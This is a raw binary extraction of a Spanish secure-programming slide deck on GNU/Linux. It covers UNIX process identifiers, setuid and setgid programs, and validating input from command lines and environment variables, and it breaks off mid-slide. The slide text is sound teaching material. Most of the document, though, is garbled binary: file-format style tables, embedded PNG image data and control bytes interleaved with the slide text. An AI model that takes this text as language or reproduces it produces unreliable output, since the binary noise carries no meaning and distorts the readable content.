d {d d -d d  d XXX"X,X6X@XJXTX^Xh?( @'@!*XX'@!X'@!X'@ !XX'@0X'@O!X%'@p!dXS' @"' @' @@DX@X*@X{( @/;5fkTj6WmPB g* "XX,StarBatsN -",StarBatsN -",StarBatsN -"` ` ,StarBatsN -" ,StarBatsN -",StarBatsN -"hh,StarBatsN -",StarBatsN -",StarBatsN -"pp,StarBatsN - ( StarBats!"-!''Times'Od 08s2 +PredeterminadoPredeterminado%'''''''''''''''+;(,,--..g* (@'A'1'+''!'''''''''%'Objeto con punta de flechaPredeterminadoObjeto con punta de flecha'''''''Objeto con sombraPredeterminadoObjeto con sombra+;(,,--..Objeto sin rellenoPredeterminadoObjeto sin relleno'TextoPredeterminadoTexto''Cuerpo de textoPredeterminadoCuerpo de texto'''Cuerpo de texto justificadoPredeterminadoCuerpo de texto justificado''+'Sangra de la primera lneaPredeterminadoSangra de la primera lnea''g*@'TtuloPredeterminadoTtulo'''Ttulo1PredeterminadoTtulo1 '''+;(,,--..+''Ttulo2PredeterminadoTtulo2 ''+;(,,--..g*@'A'+'' EncabezadoPredeterminado Encabezado''A'' Encabezado1Predeterminado Encabezado1''A''' Encabezado2Predeterminado Encabezado2''A''''Lnea de dimensionesPredeterminadoLnea de dimensiones'''''''Predeterminado~LT~Gliederung 1Predeterminado~LT~Gliederung 1''g*@' A'1'+''!'''''''''%'Predeterminado~LT~Gliederung 2Predeterminado~LT~Gliederung 1Predeterminado~LT~Gliederung 2@'A'1'+''!''''''''%'Predeterminado~LT~Gliederung 3Predeterminado~LT~Gliederung 2Predeterminado~LT~Gliederung 3@'A'1'+''!''''''''%'Predeterminado~LT~Gliederung 4Predeterminado~LT~Gliederung 3Predeterminado~LT~Gliederung 4@'A' 1'+''!''''''''%'Predeterminado~LT~Gliederung 5Predeterminado~LT~Gliederung 4Predeterminado~LT~Gliederung 5@'A' 1'+''!''''''''%'Predeterminado~LT~Gliederung 6Predeterminado~LT~Gliederung 5Predeterminado~LT~Gliederung 6@'A' 1'+''!''''''''%'Predeterminado~LT~Gliederung 7Predeterminado~LT~Gliederung 6Predeterminado~LT~Gliederung 7@'A' 1'+''!''''''''%'Predeterminado~LT~Gliederung 8Predeterminado~LT~Gliederung 7Predeterminado~LT~Gliederung 8@'A' 1'+''!''''''''%'Predeterminado~LT~Gliederung 9Predeterminado~LT~Gliederung 8Predeterminado~LT~Gliederung 9@'A' 1'+''!''''''''%'Predeterminado~LT~TitelPredeterminado~LT~Titel''QQg*@'A'1'+''!''' ''''''%'Predeterminado~LT~UntertitelPredeterminado~LT~Untertitel''QQg*@'A'1'+''!'''''''''%'Predeterminado~LT~NotizenPredeterminado~LT~Notizen''g*@'A' 1'+''!'''''''''%'$Predeterminado~LT~Hintergrundobjekte$Predeterminado~LT~Hintergrundobjekte+;(,,--..Predeterminado~LT~HintergrundPredeterminado~LT~Hintergrund4'''''''''          +;(,,--..//00112233445566TtuloTtulo@ Subttulo Subttulo@Objetos de fondoObjetos de fondo@FondoFondo@NotasNotas@ Esquema 1 Esquema 1@ Esquema 2 Esquema 1 Esquema 2@ Esquema 3 Esquema 2 Esquema 3@ Esquema 4 Esquema 3 Esquema 4@ Esquema 5 Esquema 4 Esquema 5@ Esquema 6 Esquema 5 Esquema 6@ Esquema 7 Esquema 6 Esquema 7@ Esquema 8 Esquema 7 Esquema 8@ Esquema 9 Esquema 8 Esquema 9@ TT v>p6 f 2 TP(`4g3DrMdqqJoeMn0X1& X1L X1dODrLy LAYER_LAYOUTDrLy LAYER_BCKGRNDDrLy LAYER_BACKGRNDOBJDrLyLAYER_CONTROLSDrLy!LAYER_MEASURELINESDrMP'JoeMjJ8cDrML DrOb<SVDr&qz! %DrOb<SVDr&(B %DrOb<SVDr&q+>z!QDrOb<SVDr&(+>BQDrXXgg pPredeterminado~LT~GliederungDrMP `JoeM8cjJDrML DrObSVDr&8cjJ1 Predeterminado~LT~Hintergrund8cjJDrOb{SVDr&8cjJ"Predeterminado8cjJDrOb SVDr&q[+Predeterminado~LT~Titelq[xV4B1r0Pulse para editar el formato del texto de ttuloPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&Bc xV4B1> 4Pulse para editar los formatos del texto del esquemaPredeterminado~LT~Gliederung 1<( (@'Segundo nivel del esquemaPredeterminado~LT~Gliederung 2<( (@'Tercer nivel del esquemaPredeterminado~LT~Gliederung 3<( (@'Cuarto nivel del esquemaPredeterminado~LT~Gliederung 4 <( (@'Quinto nivel del esquemaPredeterminado~LT~Gliederung 5 <( (@'Sexto nivel del esquemaPredeterminado~LT~Gliederung 6 <( (@'Sptimo nivel del esquemaPredeterminado~LT~Gliederung 7 <( (@'Octavo nivel del esquemaPredeterminado~LT~Gliederung 8<( (@'Noveno nivel del esquemaPredeterminado~LT~Gliederung 9<(  ( @' DrObSVDr&qCH"PredeterminadoyqCHZxV4B1EPredeterminadog*<( (@'DrObSVDr&!CRAH"Predeterminado!CRAH`xV4B1KPredeterminadog*<( (@'+'DrOb{SVDr&8c" Predeterminado8cDrXX&Predeterminadogg hPredeterminado~LT~GliederungDrMP8JoeMjJ8cDrML DrObSVDr&K+Predeterminado~LT~TitelKuxV4B1`Pulse para desplazar la pginaPredeterminado~LT~Titel<( (@' DrObSVDr&x.EZ-Predeterminado~LT~Notizenx.EZxV4B1m)Pulse para editar el formato de las notasPredeterminado~LT~Notizen<( ( @'DrXX&Predeterminadogg `Predeterminado~LT~GliederungDrPgcJoeMjJ8cDrML8DrMD,DrXXgg PPredeterminado~LT~GliederungDrPg$$JoeM8cjJDrML8DrMD,DrObSVDr&q[6%+ Predeterminado~LT~Titelq[6%}xV4B1h Programacin Segura en GNU/LinuxPredeterminado~LT~Titel<( (@' DrObSVDr&+*VT0=0  Predeterminado~LT~Untertitel+*VT0=xxV4B1cAlberto ValentnPredeterminado~LT~Untertitel<( (@'A'DrOb!SVDr&5EB@"  Predeterminado5EB@%!!NAT5  PNG  IHDRhhLSgAMA aPLTEʲ YjjTB˦hH!Qdd~vTO=+00Yz DDF2#ս:AA{i ,և{P\ssmfMg||ԱŸ rnd K^^پ0,$A@:Tww`:::$''c~ S4Ӗ KRR n ʾִsssNΜD2 ޛLAWTLfrfffήTΒ | fRBBB{أ ޮDk ҪdrGM<ƚDuS ꫳJJJhÊ zdY9eBZZ[J1v$NJB[`A*nssں|iJHB,Κ r,xAۮRRR֦L@Ěv,*%ޛj κ֜[cc<.s{{<(4;1y-'Z:U>{{{J<(333ޤ ^))*[BbEtrziSʦ(L6|c ZJ4Τr?3"ʎ 0'QXXĭ!!! |?. $ qqYT<rZ ~SbB;1MMOduu Ҫ DIIݳ [XC~dֶtjR$^GҒ p +tRNS@fbKGDH pHYs  ~tIME 5/V'QIDATx t[gy+Z715ԭnJKA˝,; .כ&VM.]KZTh 2ThIˢNZ4e^)`ҡcf<]aFJD6Q}շds-Ez?7=v@ˢ.R zC!mϹoxuAch;L-iYAˋ9”ZwEoPu&5ʸwMoHuR35펀WsEb5b躏m={ ?M{c=ZDߵm=H-=ꫡmSAgH ͹c{j:H$*`^ =ab/䂈^;nzmE sq⎭!iֽɢӂ̇nV)s҆ ;[qH`uRСxIoKA/J)IvC6-Sж4u%1܏>jRJf[guE\0wn!mJ@ ?>dn{TEk*=h?)>{3?}o?o]Nw;+Ɩ6|7~o}ja"LKs;8[$H_g(ALܤ7Dj&Ai WQfY^LOR9z-gn{k~Xb, FQ Ģ@1s"#?6Lh2xoA H{D #8X19/$&$YZn0\L 襍m!YMeȺi$^X @+c g?<^ڀ6 7BAPmه"}#DZ% P@CwcX^9h2TA'͵Y5 6Wm^G6e4Kf+CfnC0^s=񑻎:냗_~׾ϼ֫>z'7E9 |bHtQIh_ FBУ c$%q' ͪ hգ 4Kz[ ZyI,zw܀~M7=t7b0)2j>G"HZ q\ ۗ@4A_(KB"Aq镉#d}`6Sw)hV k,zH"ͮuWACVAhah/3Wn9?Ys 0/o=5! 3rRؘc!rjFHf]wHX2QB+6겁 샸OuhK1 V7Kv}&Pj8 Z wxt3^ 붬l/gwƲ-/7/ Z'd]ކڃ/_ҟ9~aaA`!ZפXtnyVΫKfW%'et>*Juh6RsJk sV0MP>ªUthYA1V5mLs^m_̦)e1*fuJN9#s![["Tx5m W5Si\)rqqd [%B8Q!ciUho<gLUIBPL,m1Lѐ$JS~UΪ16ZoMۉ=IU~}(@dhURTr%uL(2v 4 S#>(U9ahy(!yp0A%F:BswLzd~콮!%u&ocA$ FU\}JË9χyG$b:t lD<261Ed^G[\Pv& ݰ"x>JA{*jܴҹ\ Q]3:9I"r K )x[.wLH7 k@/.%Kvh( YDeW8ҥCtsGcd_2mrWLh:-̢}exOȢh ZR, 6%t`jj*pk\:Рp"[Z2M}yll HK}uחC륞p gffCsŵ:Za$}Lݜqll8NO qEYPɤ͝%E mEhINbLT1<%,Z2@CHƐ_SA L7奲4!yTtʢ/P5jHu! 5Dc}yye^:ti][̜~t4cOOn/VPAAVHQzn59B\)DC 4-B4X4^SƬ!#gIWY4xB5,K9zA`N&/OCTW iM g:*ъfm1$u&v*g>!gͦ'NKWKSn4ѻJ:nv )gϪ/.L@z{Eh 祚hv(}5H˳V/^/qitͫ'cghX8+`葍{-h5Iv~c!d)h1F"u&VyTz9oeU-:bfɚBHԤ&B;ͺ'XWMG]9&L0ĨIy_bYFښ1#v,zI:ڴcΞ<! zC$,D[i:,)|[1fюXڠԃ)YL&Y$ .'V gmKW s9$&ywJd~j#ztӧ%G$=rvEYxgcCxDt#h)9+@t\ZAOxײ륊m7X& :*[=t,G)XeT+2J$l:_;=07ڜpC(i)F4z =c1OK6q&4>J)S@/ݻ=nKu̠-֟#HdE\v|Gb袃@_{.;-@}P CJiVd,:)Ωkg`JF_h\8 FvѬ#n:~ιxYe ߡ\@E'a)hp 0uXXU'O:uiPԚ^g4 ^jLW첵!yJZNRLqTd:zyZ 4N$AǤv"Il08"5fVlC58t830a W<aTTSCdq |,z{UЕɂςx;\@Z1g|&{Ǎƹ..ĖKaqh[ z<O!}g@M@n z TЌ.׀c9Ȉ62SV茕RFYg"؂dwzghlBG9;8mX@zz="Tq JO8A(qVenԆ%n:@5&}9&mR@v9t[ЫQ=bX8\e}+.nlmQj}nNJ_3hqB.`Zp@93h= z l: $!Sͪ=lgيtUEynq zfB{M'R#֛U w5]`Xo03~ˉ:m0sC0[6핲8: XZuy׼'1 O_%ifί y$mw)^:d,DyWerAp x&Zv,29U%u4!!,pG+[؍8GdM4 ýHRbc#[/ sguG <\r` o?֪P z$XQZg1ĝHqnaKIb^F͠ŋJ3O66U#A(aZq3?=&- @ZFn!h}AZ눺¤NNJTKY :Оbڀ{}L<1v+NfVLjZqemgN֞e;@7Yx~\znO, :jbt(k~A"=hmnړ`޼K`82y~~?3NB'ʳ->)hSizû GkUhACS*pBsZb;N @B˱DAxho)wDZ4NFjWAz魃ԱWo8饧w&`ցfMÍЁul::R!hn zCΣNpz}]h kD:>uU(ުq w}S@W2~݁QhX,mW._"p%h:V2"ڊ}嬒OƮ52WfȊ寯]Bн84lsG!TA#humul>5Qx>#M*w@߹'V\fw&o߾oY+ƭ,MAąƛAK0 +PٻzFcmlm S :,:檵a kk\ɰ@cg^zӻZqbD"b y9o5KecSPkU{֣"`cAÈǿ/^@čg tES_>LiըCZlm@W k + 4am9)@2Q%V-| h\(3 ݚbm25!V}_Fw b(IlݙC0:8=D9b43s+ϿNP{S\IafaMqMӗKRi˵LAӥ(Gr_4'#H3|sjz$[a knC Oә&+m̆ͪsmvyM=tTpOS i3r쒪>zx;vsoů/5zπ9sgیHZ݊zb9)0v+-eӍiKխ]װ1VDËWΛ_܏zɧ?O/?zc'Oye`F`Փ%B+!nZ b4u]X`GdW -7jw*߲UyBqYޱXY렏2/ꓟ͏?v.v +V O+wpvGsF0WFn2Llj8m61y5icnuP=4RجXȈK 7! 3?}W~3Ǯb|BPџURJ1 lwVR)m{D!p%ePeJajc(˟JqͻS"p0n^$EᖺS75:G[P8m_ݏ=vwlt]('7_Kf<3̸\afe^oȍ hnsx؋W䷒ko~*",nXNSm_aB֙\-EQKu%k<잒tndO(oi,r_+o@Ir<X2{uEQKuhI䁞na~h<~w$?v=Q4E/uHjR3w7ׇceLcQRTp>u{>eLcQR'{{"Hʽ'{{"Hʽ'{{"Hʽ'4{;L/K:qzAR=$AR=Y7#c<{hg8\'p܃gcJY\eJ˔r).S]L)wR2eJ˔r).S]L)wR2eJ˔r).S]L)wR2g$˷u &!fVr#_;!$ ,+-,6z,3{8IU,Hr#h3o]l[ͪ uۺ2XW{"/&ز((1íq_--qU⦉ qv_Tדcvz9i Sr!_[^0{gk<>6 :hEJvrA%i*8`;i Ḟ,9AŦfOX>.mͬm ý&ԅ"dZgpa)*M愡Ya) ^%N:i6S]MYƍysٱc>|CIlh^))OcZ J]X gv.hK䩽C^y!FlKSft6Tou)X/CĂ*,'rލ7Mm֚hM<60χzYh % @;wp^``s42#ˆ8+TK(]z`q{̇K]b'^7C{V2 4Ym)t|u6)eLLsAWsZ$f >nt_GYEMAU6rQOa祭 j=O9LzX YؕP)wR2eJ˔r).S]L)Y뚫>ru?g{5yސ&XlKZ:X +9Z_\ebS]c7 ]:[K[7E U6whJӿ'>Cr?w:m0iɥQCs2Х&샭j#)˭qP:^`Õ%+f NDXUEh.COUUôD?O:@ EwHFڶ+S&FtY5Vwܧzw1,45uT|4n~6%*q{RZ_ 'SSddl8emMK#\:ʫ׵Y^dd!SϷ,@յǏKm00Xki^MKxn CO˔r).S]L)wR2eJ˔ruۺqT_sHlh#[:Zy׼T}ו*2zؾ]QlZucܡngkghu]XAr6&.vdC#X7d[I6~dhd5W8_2@rJ6R_grwhJL :]SX؎ uiߤܧqFc[uےӒ8]u uVZ_t,r;.CrKEy.P7oeRZ_!۲M.3|\##}1:CR+cǯ)5Y]..S]L)wR2eJ˔r).S}UG:s}!8}oU_{UfIP'ҍ1w|A/w_ns[oa9\MRYᯮ#q;acxnlUw6 ыW7:\[b`sY'F>8&Y Fv1:fgET@#%4z~+޽ǃ7r U~Ctkl=kZOb5;,9׹;ZY9WSYޖy}犱\k<NBfB>wolW2΄ex$ҍ;ZG;`eʪ٘s'ιN`r9}S2K .]nWꕻL)wR2eJ˔r).S]L)wR2eJr?Ǧۅ܍J2{H˪2)_IENDB`DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[|xV4B1gMecanismos de seguridad en UNIXPredeterminado~LT~Titel<( (@' DrOb0SVDr&q[kF2Predeterminado~LT~Gliederung 1q[kFxV4B12Todas las acciones se realizan ejecutando procesosPredeterminado~LT~Gliederung 1<( (@'A'MCada proceso tiene asociado un fichero ejecutable (con permisos de ejecucin)Predeterminado~LT~Gliederung 2 <( (@'A'+Los procesos tambin tienen identificadoresPredeterminado~LT~Gliederung 2 <( (@'A'/PID y PPID: identificadores del proceso y padrePredeterminado~LT~Gliederung 3<( (@'A'8RUID y RGID: Identificadores del usuario que los ejecutaPredeterminado~LT~Gliederung 3<( (@'A'QEUID y EGID: identificadores del usuario con cuyos privilegios se est ejecutandoPredeterminado~LT~Gliederung 3<( (@'A'OtrosPredeterminado~LT~Gliederung 3<( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPguJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[|xV4B1gMecanismos de seguridad en UNIXPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1uq[&BVxV4B1;#Cambio de privilegios de un procesoPredeterminado~LT~Gliederung 1<( (@'A'UEn ocasiones se necesita que un proceso se ejecute con los privilegios de otro (root)Predeterminado~LT~Gliederung 2 <( (@'A'rEl fichero ejecutable tiene activado otro atributo: el SUID o SGID. A estos programas se les llama setuid o setgidPredeterminado~LT~Gliederung 2 <( (@'A'cilrPredeterminado~LT~Gliederung 2 <( (@'A'DrOb1 SVDr&1Kd@"Predeterminado1Kd@  NAT5 y PNG  IHDRЭb gAMAPLTEGGG999+++rrrpppddd```VVVPPP@@@000 lXZ4Xd}g pHYsod OIDATx{:vmokH)%\*tlfry@į$W6T Kz0$sOS=M14sOS=M14sOS%\M~3QQs q?($~bLbW Zuܟsn1+sg_RK5i=FgnGly nOle\a\m"^, mhe`[,z:bowb1qq!艹3A[K!]-lf+j/p#xUP[Kh՞ؘ˸¸ՃxXZ25wpJi)R=x=?) !<"E-D?^[U{20.}Y͙`(}W[VlqQ2Wx۵.4D KragAm0uފ-dٝx}y??q駄 ' ꁎʇ^J@]e”{n&~w|OßIwB#mq&Wgy>y߼NV$Qa\{u#;ZIO5Bcm 5pRgBz /0kk-a&0h瓹ep>xgj7x"psRnJN޼?\s.5(ˮWp>XZ柽+1Lʱz* Fq_)?~hYa;ۊ09|z1ʬWt7 Tk[E)t.rXiJ{0@_ kliؘ9~S)ְeYMDt/M͌Fuuf\t[a3-r_-P*~ ͷ gn+ ,3U?S~l+\ng NO7Ut-m[ tqWnVjR:d jHexO;!i8T[;fXxws_s]U`1F"ژJ oh#UFoh`%ǡV*xt 8k%تcѨn5 3f c\<2VwU*<?+4*E;0@|j_b7'=XB7Mia[[AkeF39-hNʴxk`,R(~mZXm,t!hÁAwN`a-v27C =n , 2x%N۟S}V@kC}t]na) \mSBA76ˊj`%\$5n+N MQH،m9ћMR 1]z7SЃ~COeQde'i<72 vN <7B;rR!*5 nݴ5TsqSv mu Ky?Z%ZdpMs 꽢:Ќ f7,SPzJ}]m8 Ȇb Ӻ׫l'd|Jy8޽uumT9jVM&_^av/ bi)枦{bi)枦{bi+ί+׵pί+%wh\|.dugvc#}w2.v3!me..][igQTAJtu:g ~u:N2_IXsOS=M14sOS=M14sOS=M14sOS}kXiV D9IENDB`DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg[JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[|xV4B1gMecanismos de seguridad en UNIXPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BmxV4B1TSi se ejecuta un fichero que tiene activados el SUID o el SGID, el proceso resultante se ejecutar con la identidad del propietario de ese ficheroPredeterminado~LT~Gliederung 1<( (@'A'NCuando se crea un fichero su propietario ser el EUID del proceso que lo crea.Predeterminado~LT~Gliederung 1<( (@'A'Este comportamiento, aplicado a programas no desarrollados con el suficiente cuidado, puede comprometer la seguridad de todo el sistemaPredeterminado~LT~Gliederung 1<( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg ! JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[|xV4B1gMecanismos de seguridad en UNIXPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1Rq[&B3 xV4B1 %Ejemplos de programas setuid o setgidPredeterminado~LT~Gliederung 1<( (@'A'Predeterminado~LT~Gliederung 1g* <( (@'A' :-rwsr-xr-x 1 root root 33288 mar 1 2000 atPredeterminado~LT~Gliederung 2g*  <( (@'A' ::?-rwsr-xr-x 1 root root 21816 feb 3 2000 crontabPredeterminado~LT~Gliederung 2g*  <( (@'A' ??;-r-sr-sr-x 1 root lp 16872 feb 14 2000 lpqPredeterminado~LT~Gliederung 2g*  <( (@'A' ;;;-r-sr-sr-x 1 root lp 18568 feb 14 2000 lprPredeterminado~LT~Gliederung 2g*  <( (@'A' ;;<-r-sr-sr-x 1 root lp 17208 feb 14 2000 lprmPredeterminado~LT~Gliederung 2g*  <( (@'A' <<;-rwxr-sr-x 1 root man 36192 mar 1 2000 manPredeterminado~LT~Gliederung 2g*  <( (@'A' ;;;-rwsr-xr-x 1 root root 14352 mar 7 2000 rcpPredeterminado~LT~Gliederung 2g*  <( (@'A' ;;>-rwsr-xr-x 1 root root 10256 mar 7 2000 rloginPredeterminado~LT~Gliederung 2g*  <( (@'A' >>;-rwsr-xr-x 1 root root 7436 mar 7 2000 rshPredeterminado~LT~Gliederung 2g*  <( (@'A' ;;>-r-s--x--x 1 root root 12244 feb 7 2000 passwdPredeterminado~LT~Gliederung 2g*  <( (@'A' >>DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgZJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[{xV4B1fEntrada de datos: ValidacionesPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BmxV4B1RVComprobar todos los caracteres (o combinaciones) que se reciben. Hacerlo slo una vezPredeterminado~LT~Gliederung 1<( (@' A'4En caso de nmeros, comprobar la magnitud y el signoPredeterminado~LT~Gliederung 1<( (@' A'DComprobar su tamao. Se evitan problemas de desbordamiento de bufferPredeterminado~LT~Gliederung 1<( ( @' A'Mucho cuidado con: ., .., ../, cadenas que contengan /, cadena nula, &, ;, caracteres especiales o de control (nueva lnea, null), comillas simples y dobles, %, <, > ...Predeterminado~LT~Gliederung 1<( ( @' A'"#;<=>MNOPRSTUDrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg!JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[{xV4B1fEntrada de datos: ValidacionesPredeterminado~LT~Titel<( (@' DrOb3SVDr&q[I2Predeterminado~LT~Gliederung 1q[IxV4B1Acciones generales:Predeterminado~LT~Gliederung 1<( (@'A'FRealizar todas las validaciones en una nica parte dentro del programaPredeterminado~LT~Gliederung 2 <( (@'A'ORealizar las validaciones en un proceso/thread diferente y con menos privilegioPredeterminado~LT~Gliederung 2 <( (@'A'|Asegurarse que las validaciones son correctas y estn actualizadas, principalmente si se van a pasar datos a otros programasPredeterminado~LT~Gliederung 2 <( (@'A'Escapar aqullos caracteres que tengan un significado especial para este programa o para otros programas con los que se relacione.Predeterminado~LT~Gliederung 2 <( (@'A' Predeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[mxV4B1XEntrada de datosPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1:q[&BxV4B1?Entre otras, la entrada puede llegar de las siguientes fuentes:Predeterminado~LT~Gliederung 1<( (@'A'Lnea de comandosPredeterminado~LT~Gliederung 2 <( (@'A'Variables de EntornoPredeterminado~LT~Gliederung 2 <( (@'A'URLsPredeterminado~LT~Gliederung 2 <( (@'A'FicherosPredeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg(JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[xV4B1k#Entrada de datos: Lnea de ComandosPredeterminado~LT~Titel<( (@' DrOb5SVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1!Se debe validar la lnea completaPredeterminado~LT~Gliederung 1<( (@'A'No se debe confiar en el nombre del programa recuperado de sta (argv[0]). Se puede sobreescribir con cualquier valor includo NULLPredeterminado~LT~Gliederung 1<( (@'A'Predeterminado~LT~Gliederung 1<( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPghJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[xV4B1n&Entrada de datos: Variables de EntornoPredeterminado~LT~Titel<( (@' DrObrSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1.Son otro punto de entrada de datos al programaPredeterminado~LT~Gliederung 1<( (@'A'-Se heredan de procesos padre a procesos hijosPredeterminado~LT~Gliederung 1<( (@'A'$Algunas son estndar: PATH, IFS, ...Predeterminado~LT~Gliederung 1<( (@'A'+Otras son propias del programa: ORACLE_HOMEPredeterminado~LT~Gliederung 1<( (@'A'MSe gestionan con las llamadas: getenv(3), putenv(3), setenv(3) y unsetenv(3).Predeterminado~LT~Gliederung 1<( (@'A'Predeterminado~LT~Gliederung 1<( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgpJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[xV4B1n&Entrada de datos: Variables de EntornoPredeterminado~LT~Titel<( (@' DrObSVDr&"8c'"Predeterminado"8c'xV4B1q$... su almacenamiento en memoria ...Predeterminado<( (@'+'$DrObSVDr&U)[FW)DrOb{SVDr&*>-" Predeterminado+*1z-DrOb{SVDr&<*'TF" PredeterminadoI+*'GFDrObSVDr&/`-'-" PredeterminadoIz-'z-DrObSVDr&/:':" PredeterminadoI:':DrObSVDr&/0'0" PredeterminadoI0'0DrObSVDr&/L7'7" PredeterminadoIf7'f7DrObSVDr&/3'14" PredeterminadoI4'4DrObSVDr&/B'C" PredeterminadoIB'BDrObSVDr&B&F"PredeterminadoB&FnxV4B1YNULLPredeterminadog* <( (@'DrOb{SVDr&/*[-" Predeterminado!/+*Zz-DrObSVDr&/)*F*."Predeterminado/)*F*.vxV4B1a NOMBRE=VALORPredeterminadog* <( (@'  DrObSVDr&V)*Z*."PredeterminadoV)*Z*.lxV4B1W\0Predeterminadog* <( (@'DrObSVDr&V*V-" PredeterminadoV+*Vz-DrOb{SVDr&/m-[0" Predeterminado!/z-Z0DrObSVDr&/w-Fx1"Predeterminado/w-Fx1vxV4B1a NOMBRE=VALORPredeterminadog* <( (@'  DrObSVDr&Vw-Zx1"PredeterminadoVw-Zx1lxV4B1W\0Predeterminadog* <( (@'DrObSVDr&V`-V0" PredeterminadoVz-V0DrOb{SVDr&/0[$4" Predeterminado!/0Z4DrObSVDr&/0F4"Predeterminado/0F4vxV4B1a NOMBRE=VALORPredeterminadog* <( (@'  DrObSVDr&V0Z4"PredeterminadoV0Z4lxV4B1W\0Predeterminadog* <( (@'DrObSVDr&V0V14" PredeterminadoV0V4DrObSVDr&.*L," Predeterminado1+I+DrObSVDr&&*$0," Predeterminado'+!/+DrObSVDr&&.$0$0" Predeterminado'!/!/!/DrObSVDr&&m1$0s3" Predeterminado'p2!/p2DrObSVDr&RA6C@"PredeterminadoRRA6C@3xV4B1Predeterminadog* <( (@'A' Predeterminadog* <( (@'A' Predeterminadog* <( (@'A' DrObSVDr&? :"1D"PredeterminadoR? :"1D3xV4B1Predeterminadog* <( (@'A' Predeterminadog* <( (@'A      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~' Predeterminadog* <( (@'A' DrObSVDr&U)V-"PredeterminadoU)V-qxV4B1\environPredeterminadog* <( (@'DrXXDrObwSVDr&q[&B2Predeterminado~LT~Gliederung 1 q[&BxV4B1En general no pueden estar duplicadas. Tanto el Shell como las funciones anteriores lo protegen Sin embargo ...Predeterminado~LT~Gliederung 1<( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg]JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[xV4B1n&Entrada de datos: Variables de EntornoPredeterminado~LT~Titel<( (@' DrOb(SVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1~i... se pueden crear entradas 